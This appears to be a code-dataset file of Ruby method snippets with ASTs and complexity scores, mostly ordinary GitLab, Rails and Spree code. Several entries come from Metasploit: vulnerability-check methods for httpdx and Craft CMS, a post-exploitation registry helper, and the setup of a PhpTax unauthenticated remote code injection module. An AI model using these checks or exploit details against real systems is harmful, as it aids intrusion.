{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/httpdx_handlepeer.rb","start_line":90,"raw_source":"def check\n    info = http_fingerprint # check method\n    if info and (info =~ /httpdx\\/(.*) \\(Win32\\)/)\n      return Exploit::CheckCode::Detected\n    end\n\n    Exploit::CheckCode::Safe\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"send\",\"children\":[null,\"http_fingerprint\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"httpdx/(.*) \\\\(Win32\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}","id":"6e3921cb-385b-491b-b61b-228c33909a3f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":1299,"raw_source":"def remove_prohibited_refs\n    return unless exists?\n\n    patterns = [Gitlab::Git::BRANCH_REF_PREFIX, Gitlab::Git::TAG_REF_PREFIX]\n\n    prohibited_refs = raw_repository.list_refs(patterns).select do |ref|\n      ref.name.match(Gitlab::Git::SHA_LIKE_REF)\n    end\n\n    return if prohibited_refs.blank?\n\n    raw_repository.delete_refs(*prohibited_refs.map(&:name))\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_prohibited_refs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exists?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"patterns\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"BRANCH_REF_PREFIX\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"TAG_REF_PREFIX\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prohibited_refs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_repository\"]},\"list_refs\",{\"type\":\"lvar\",\"children\":[\"patterns\"]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"name\"]},\"match\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"SHA_LIKE_REF\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prohibited_refs\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_repository\"]},\"delete_refs\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prohibited_refs\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]}","id":"a8ff7501-711c-4ffc-b5c9-f157694f8a62"}
{"repo_name":"reek","file_path":"./repos/reek/samples/smelly_source/optparse.rb","start_line":401,"raw_source":"def add_banner(to)  # :nodoc:\n      unless @short or @long\n        s = desc.join\n        to << \" [\" + s + \"]...\" unless s.empty?\n      end\n      to\n    end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"add_banner\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@short\"]},{\"type\":\"ivar\",\"children\":[\"@long\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"desc\"]},\"join\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" [\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"s\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"]...\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"to\"]}]}]}","id":"c1c881b8-da09-4ec7-972e-c44287f5a0c3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/registry.rb","start_line":104,"raw_source":"def registry_loadkey(key, file)\n    if session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_LOAD_KEY)\n      meterpreter_registry_loadkey(key, file)\n    else\n      shell_registry_loadkey(key, file)\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"registry_loadkey\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"commands\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"Extensions\"]},\"Stdapi\"]},\"COMMAND_ID_STDAPI_REGISTRY_LOAD_KEY\"]}]},{\"type\":\"send\",\"children\":[null,\"meterpreter_registry_loadkey\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[null,\"shell_registry_loadkey\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}","id":"13a85c74-9697-4bdf-8f47-33a966551216"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/decorators/offset_paginated_collection.rb","start_line":34,"raw_source":"def self.per_page_default(relation)\n        relation.base_class.per_page\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"per_page_default\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"base_class\"]},\"per_page\"]}]}","id":"7e18cb12-c755-4cb5-a054-be91d874603f"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/variant.rb","start_line":486,"raw_source":"def volume\n      (width || 0) * (height || 0) * (depth || 0)\n    end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"volume\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"width\"]},{\"type\":\"int\",\"children\":[0]}]}]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"height\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"depth\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"4effd4a4-3b01-43ad-98bc-e53f8253d993"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/phptax_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"PhpTax pfilez Parameter Exec Remote Code Injection\",\n        'Description' => %q{\n          This module exploits a vulnerability found in PhpTax, an income tax report\n          generator.  When generating a PDF, the icondrawpng() function in drawimage.php\n          does not properly handle the pfilez parameter, which will be used in an exec()\n          statement, and then results in arbitrary remote code execution under the context\n          of the web server.  Please note: authentication is not required to exploit this\n          vulnerability.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Jean Pascal Pereira <pereira[at]secbiz.de>',\n          'sinn3r' # Metasploit\n        ],\n        'References' => [\n          ['CVE', '2012-10037'],\n          ['OSVDB', '86992'],\n          ['EDB', '21665']\n        ],\n        'Payload' => {\n          'Compat' =>\n                {\n                  'ConnectionType' => 'find',\n                  'PayloadType' => 'cmd',\n                  'RequiredCmd' => 'generic perl ruby telnet python'\n                }\n        },\n        'Platform' => %w{linux unix},\n        'Targets' => [\n          ['PhpTax 0.8', {}]\n        ],\n        'Arch' => ARCH_CMD,\n        'Privileged' => false,\n        'DisclosureDate' => '2012-10-08',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The path to the web application', '/phptax/'])\n      ]\n    )\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"PhpTax pfilez Parameter Exec Remote Code Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability found in PhpTax, an income tax report\\n\"]},{\"type\":\"str\",\"children\":[\"          generator.  When generating a PDF, the icondrawpng() function in drawimage.php\\n\"]},{\"type\":\"str\",\"children\":[\"          does not properly handle the pfilez parameter, which will be used in an exec()\\n\"]},{\"type\":\"str\",\"children\":[\"          statement, and then results in arbitrary remote code execution under the context\\n\"]},{\"type\":\"str\",\"children\":[\"          of the web server.  Please note: authentication is not required to exploit this\\n\"]},{\"type\":\"str\",\"children\":[\"          vulnerability.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Jean Pascal Pereira <pereira[at]secbiz.de>\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-10037\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"86992\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"21665\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ConnectionType\"]},{\"type\":\"str\",\"children\":[\"find\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic perl ruby telnet python\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PhpTax 0.8\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-10-08\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the web application\"]},{\"type\":\"str\",\"children\":[\"/phptax/\"]}]}]}]}]}]}]}","id":"5b118166-5ba3-465b-b1db-79780f403b16"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/labels/available_labels_service.rb","start_line":47,"raw_source":"def available_labels\n      @available_labels ||= LabelsFinder.new(current_user, finder_params).execute\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"available_labels\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@available_labels\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LabelsFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"finder_params\"]}]},\"execute\"]}]}]}","id":"7ffc857c-2ac9-44a9-b2c6-4d07dbf1cc51"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/craftcms_ftp_template.rb","start_line":176,"raw_source":"def check\n    vprint_status('Performing vulnerability check...')\n    nonce = Rex::Text.rand_text_alphanumeric(8)\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path),\n      'method' => 'GET',\n      'vars_get' => { '--configPath' => \"/#{nonce}\" }\n    )\n\n    if res&.body&.include?('mkdir()') && res.body.include?(nonce)\n      CheckCode::Vulnerable\n    else\n      CheckCode::Safe\n    end\n  end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Performing vulnerability check...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"nonce\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"--configPath\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nonce\"]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"mkdir()\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"nonce\"]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"d70b6fdc-0a90-4e32-9b6b-5d7dc76ed615"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250328182102_add_tmp_index_to_users_for_external.rb","start_line":18,"raw_source":"def down\n    return if Gitlab.com?\n\n    remove_concurrent_index_by_name :users, INDEX_NAME\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"com?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]}","id":"4808bb6a-8463-436f-89d6-67b02dfc3170"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/response.rb","start_line":183,"raw_source":"def informational?;       status >= 100 && status < 200;        end","complexity_score":6.45,"ast_json":"{\"type\":\"def\",\"children\":[\"informational?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\">=\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"<\",{\"type\":\"int\",\"children\":[200]}]}]}]}","id":"72fc35bb-84f8-4722-b433-a4f319fab4f9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/where_clause.rb","start_line":178,"raw_source":"def except_predicates(columns)\n          return predicates if columns.empty?\n\n          attrs = columns.extract! { |node| node.is_a?(Arel::Attribute) }\n          non_attrs = columns.extract! { |node| node.is_a?(Arel::Predications) }\n\n          predicates.reject do |node|\n            if !non_attrs.empty? && node.equality? && node.left.is_a?(Arel::Predications)\n              non_attrs.include?(node.left)\n            end || Arel.fetch_attribute(node) do |attr|\n              attrs.include?(attr) || columns.include?(attr.name.to_s)\n            end\n          end\n        end","complexity_score":39.2,"ast_json":"{\"type\":\"def\",\"children\":[\"except_predicates\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"columns\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"predicates\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"extract!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Attribute\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"non_attrs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"extract!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Predications\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"predicates\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"non_attrs\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"equality?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"left\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Predications\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"non_attrs\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"left\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"fetch_attribute\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},\"name\"]},\"to_s\"]}]}]}]}]}]}]}]}","id":"7e328ed8-9ad8-4f34-97da-49596ec4ed9b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-schema-validation/lib/gitlab/schema/validation/adapters/column_structure_sql_adapter.rb","start_line":56,"raw_source":"def constraints\n            @constraints ||= pg_query_stmt.constraints\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"constraints\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@constraints\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pg_query_stmt\"]},\"constraints\"]}]}]}","id":"50f0ba4b-79fc-4ffd-b11d-4891e34365af"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/mergeability/run_checks_service.rb","start_line":55,"raw_source":"def cached_results\n        Gitlab::MergeRequests::Mergeability::ResultsStore.new(merge_request: merge_request)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cached_results\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"MergeRequests\"]},\"Mergeability\"]},\"ResultsStore\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request\"]},{\"type\":\"send\",\"children\":[null,\"merge_request\"]}]}]}]}]}","id":"e6df11f7-72e7-489c-95ce-eeac8fe20dc6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/acts_as_ar_model.rb","start_line":53,"raw_source":"def attribute_types\n        @attribute_types ||= Hash.new(ActiveModel::Type::Value.new)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"attribute_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@attribute_types\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Type\"]},\"Value\"]},\"new\"]}]}]}]}","id":"86887268-cb76-4eda-99e3-e7b9176378eb"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":331,"raw_source":"def url_for(object)\n    @url_for_options = object\n\n    if object.is_a?(Hash) && object[:use_route].blank? && object[:controller].blank?\n      object[:controller] = \"main\"\n      object[:action] = \"index\"\n    end\n\n    super\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"url_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@url_for_options\",{\"type\":\"lvar\",\"children\":[\"object\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"use_route\"]}]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"controller\"]}]},\"blank?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"main\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"index\"]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"5e21ff3a-95df-40e2-b4a1-2915bb49f3a5"}
